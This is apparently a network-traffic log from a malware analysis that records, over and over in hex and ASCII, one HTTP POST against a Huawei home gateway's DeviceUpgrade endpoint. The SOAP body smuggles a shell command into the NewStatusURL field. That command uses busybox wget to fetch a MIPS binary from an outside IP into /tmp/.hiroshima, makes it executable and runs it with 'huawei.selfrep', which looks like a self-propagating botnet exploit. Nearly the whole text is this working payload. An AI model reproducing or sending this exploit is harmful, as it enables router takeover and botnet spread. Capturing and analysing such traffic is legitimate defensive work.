6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
